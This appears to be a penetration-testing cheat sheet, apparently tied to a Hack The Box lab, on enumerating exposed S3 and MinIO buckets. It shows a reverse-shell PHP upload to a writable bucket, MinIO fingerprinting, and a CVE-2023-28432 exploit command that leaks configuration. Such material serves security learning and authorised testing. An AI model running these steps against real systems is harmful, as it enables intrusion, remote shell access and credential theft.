- AWS provides the ability for clients to store a lot of data using a service called Simple Storage Service(S3).
- MinIO is S3-compatible object storage; it may listen on non-standard ports (e.g. 54321) and can be detected by the same tooling as S3.
- Files are stored on what are called buckets and these buckets can have insecure permissions:
- List objects: user with permissions can list the files in the bucket
- Write objects: user with permissions can add/remove files on the bucket
- Read bucket permissions: users with permissions can read files on the bucket
- Write bucket permissions: users with permissions can edit files on the bucket
The permissions above apply to the bucket, but an administrator can also assign specific permissions to files/objects in the bucket.
- For specific users
- For everyone
- In the past, the default S3 permissions were weak and S3 buckets would be publicly accessible but AWS changed this to block public access by default.
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
- The first part of enumerating s3 buckets is having an s3 bucket name. How would you find an s3 bucket name:
- Source code on git repositories
- Sub domain enumeration
- Analyzing requests on web pages
- Some pages retrieve static resources from s3 buckets
- Domain name of product names:
- If a product or domain is called “servicename” then the s3 bucket may also be called “servicename”
- Once we have an s3 bucket, we can check if it’s publicly accessible by browsing to the URL. The format of the URL is:
bucketname.s3.amazonaws.com
- If you’ve found objects on an s3 bucket, you would want to download them to view their contents. You do this using the AWS CLI. To use the AWS CLI, you need to create an account.
- Start by configuring aws on your local machine:
aws configure
AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]: temp
Default output format [None]: temp
- There are multiple ways to connect to an endpoint:
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws s3 ls s3://bucket-name
- The output will look something like:
2022-09-25 20:03:26 thetoppers.htb
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2022-09-25 20:03:26 0 .htaccess
2022-09-25 20:03:26 11952 index.php
aws s3 cp s3://bucket-name/file-name local-location
- Alternatively, you can also use the following method to access a file:
bucketname.region-name.amazonaws.com/file-name
aws --endpoint=http://s3.thetoppers.htb s3 cp php-reverse-shell.php s3://thetoppers.htb
upload: ./php-reverse-shell.php to s3://thetoppers.htb/php-reverse-shell.php
- Nmap:
Server: MinIOandX-Amz-Id-2,X-Amz-Request-Idin HTTP responses; Golang net/http fingerprint. - Nuclei:
nuclei -u target:54321 -as -rl 15 -c 50can tagaws-bucket-service,s3-detect,waf-detect:aws. - Browser redirect: MinIO console may redirect to another port (e.g. 9001); if that port is not open, use IP or API directly.
- Invalid bucket probe:
http://TARGET:54321/%c0often returnsInvalidBucketName/ "bucket is not valid", confirming S3-compatible API. - crossdomain.xml:
http://TARGET:54321/crossdomain.xmlmay exist (Flash cross-domain policy).
# Add alias (use IP if hostname redirects to closed port)
mc alias set myminio http://TARGET_IP:54321
# Enter Access Key / Secret Key (or leave blank for anonymous)
# List buckets (may get Access Denied without creds)
mc ls myminioBootstrap endpoint can leak env/config. Use IP in the exploit URL if the hostname redirects to a port you can’t reach:
curl http://TARGET_IP:54321/minio/bootstrap/v1/verify
# Exploit PoC: https://github.com/Chocapikk/CVE-2023-28432
python3 exploit.py --verbose -u http://TARGET_IP:54321